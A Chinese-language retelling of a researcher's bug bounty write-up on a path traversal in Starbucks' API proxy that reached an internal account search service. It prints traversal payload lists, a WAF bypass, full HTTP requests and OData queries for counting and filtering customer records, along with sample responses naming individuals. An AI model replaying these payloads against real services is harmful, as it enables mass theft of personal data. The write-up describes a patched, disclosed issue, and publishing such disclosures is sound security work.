Sam花了一整天的尝试,仍然没有在Verizon Media漏洞赏金计划中有所收获,于是,他决定先退出做一些其他事情。他上网准备订购星巴克的礼品卡,作为朋友的生日礼物。
当sam在星巴克官网上试图购买时,他发现了API调用的可疑之处:在以“ / bff / proxy /”为前缀的API下发送了一些请求,但这些请求返回的数据似乎来自另一台主机。
正好,由于星巴克有一个漏洞赏金计划,于是,继续研究下去吧。
以下是返回sam的用户信息的其中之一的API调用示例:
POST /bff/proxy/orchestra/get-user HTTP/1.1Host: app.starbucks.com{ "data": { "user": { "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F", "firstName": "Sam", "lastName": "Curry", "email": "samwcurry@gmail.com", "partnerNumber": null, "birthDay": null, "birthMonth": null, "loyaltyProgram": null } }}
在上面的示例中,“ app.starbucks.com”主机将无法访问通过特定端点访问的数据,但可以充当假设的第二个主机的代理或中间人,“internal.starbucks.com”。
这里要考虑的一些有趣的事情是……
我们如何测试应用程序的路由? 如果应用程序将请求路由到内部主机,则权限模型是什么样的? 我们可以控制发送到内部主机的请求中的路径或参数吗? 内部主机上是否有开放重定向,如果有,应用程序将遵循开放重定向吗? 返回的内容是否必须匹配适当的类型(是否解析JSON,XML或任何其他数据?)
Sam做的第一件事是尝试遍历API调用,以便可以加载其他路径,而执行此操作的方式是发送以下负载:
/bff/proxy/orchestra/get-user/..%2f/bff/proxy/orchestra/get-user/..;//bff/proxy/orchestra/get-user/..//bff/proxy/orchestra/get-user/..%00//bff/proxy/orchestra/get-user/..%0d//bff/proxy/orchestra/get-user/..%5c/bff/proxy/orchestra/get-user/..\/bff/proxy/orchestra/get-user/..%ff//bff/proxy/orchestra/get-user/%2e%2e%2f/bff/proxy/orchestra/get-user/.%2e//bff/proxy/orchestra/get-user/%3f (?)/bff/proxy/orchestra/get-user/%26 (&)/bff/proxy/orchestra/get-user/%23 (#)
可惜的是,这些都不起作用。它们都返回了我通常会看到的相同的404页面……
在这种情况下,我们可以将“ / bff / proxy / orchestra / get-user”视为我们正在调用的未包含用户输入的函数。同时,我们有机会找到一个确实接受用户输入的函数,例如“ / bff / proxy / users /:id”,在这里我们有足够的空间测试它将接受的数据。如果我们发现这样的API调用,那么尝试遍历有效负载并发送其他数据(实际上是在用户输入中接收)可能会更有帮助。
Sam仔细留意这个App,发现了更多的API调用。而他发现的接受用户输入的第一个信息是:
GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1Host: app.starbucks.com
这个端点不同于“get user”端点,因为最后一个路径作为参数存在,在其中提供了任意输入。如果将此输入作为内部系统上的路径处理,那么完全可能遍历它并访问其他内部端点。
幸运的是,sam尝试的第一个测试返回了一个非常好的指标,表明可以遍历端点:
GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1Host: app.starbucks.com{ "errors": [ { "message": "Not Found", "errorCode": 404, ...
这个JSON响应与“ / bff / proxy”下所有其他常规API调用的JSON响应相同。这表明sam正在使用内部系统,并且已经成功地修改了正在与之交谈的路径。下一步将是映射内部系统,而做到这一点的最佳方法将是通过标识返回“ 400错误请求”的第一条路径遍历到根。
但很快,sam遇到了一个障碍。有一个WAF让他不能深入两个目录:
GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1Host: app.starbucks.comHTTP/1.1 403 Forbidden不过,这个WAF很弱……GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1Host: app.starbucks.com{ "errors": [ { "message": "Not Found", "errorCode": 404, ...
最终,在返回7条路径后,sam收到了以下错误:
GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1Host: app.starbucks.com{ "errors": [ { "message": "Bad Request", "errorCode": 400, ...
这意味着内部API的根是6个返回路径,可以使用目录暴力破解工具或Burp Suite的入侵者和单词列表将其映射出来。
此时,sam对这个漏洞更加感兴趣了,他和Justin Gardner进行了探讨。
而Justin Gardner几乎立即在内部系统的根目录下识别出许多路径,方法是观察到对这些路径的HTTP请求,之后如果没有正斜杠,就会使用Burp的入侵者返回重定向代码:
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\searchHost: app.starbucks.comHTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/htmlContent-Length: 162Location: /search/
Justin致力于寻找所有端点时,sam开始逐一研究每个目录。运行完自己的扫描后,sam发现“搜索”下有“v1”,而“v1”下有“账户”和“地址”。
于是,他给Justin发了一条消息,想想如果“ / search / v1 / accounts”端点是对所有生产帐户的搜索,那将是多么有趣……
而事实,果然如此。“ / search / v1 / accounts”可以访问所有星巴克帐户的Microsoft Graph实例。
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "value": [ { "Id": 1, "ExternalId": "12345", "UserName": "UserName", "FirstName": "FirstName", "LastName": "LastName", "EmailAddress": "0640DE@example.com", "Submarket": "US", "PartnerNumber": null, "RegistrationDate": "1900-01-01T00:00:00Z", "RegistrationSource": "iOSApp", "LastUpdated": "2017-06-01T15:32:56.4925207Z" },...lots of production accounts
此外,“地址”端点返回了类似的信息……
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses", "value": [ { "Id": 1, "AccountId": 1, "AddressType": "3", "AddressLine1": null, "AddressLine2": null, "AddressLine3": null, "City": null, "PostalCode": null, "Country": null, "CountrySubdivision": null, "FirstName": null, "LastName": null, "PhoneNumber": null },...lots of production addresses
它是为生产帐户和地址提供的服务。随后,sam开始进一步探索该服务,以使用Microsoft Graph功能进行确认。
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=trueHost: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "@odata.count":99356059}
通过从Microsoft Graph URL添加“ $ count”参数,可以确定该服务具有近1亿条记录。攻击者可以通过添加“ $ skip”和“ $ count”之类的参数枚举所有用户帐户来窃取此数据。
此外,要查明特定的用户帐户,攻击者可以使用“ $ filter”参数:
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "value": [ { "Id": 81763022, "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354", "UserName": "redacted@gmail.com", "FirstName": "Justin", "LastName": "Gardner", "EmailAddress": "redacted@gmail.com", "Submarket": "US", "PartnerNumber": null, "RegistrationDate": "2018-05-19T18:52:15.0763564Z", "RegistrationSource": "Android", "LastUpdated": "2020-05-16T23:28:39.3426069Z" } ]}
最后,sam还发现的其他一些端点,可能(尚未确认)使攻击者能够访问和修改帐单地址、礼品卡、奖励和优惠等内容。
barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver
时间线
5月16日报道 5月17日补丁 5月19日颁发赏金(4000美元) 6月16日公开
参考链接
https://samcurry.net/hacking-starbucks/
*本文作者:kirazhou,转载请注明来自FreeBuf.COM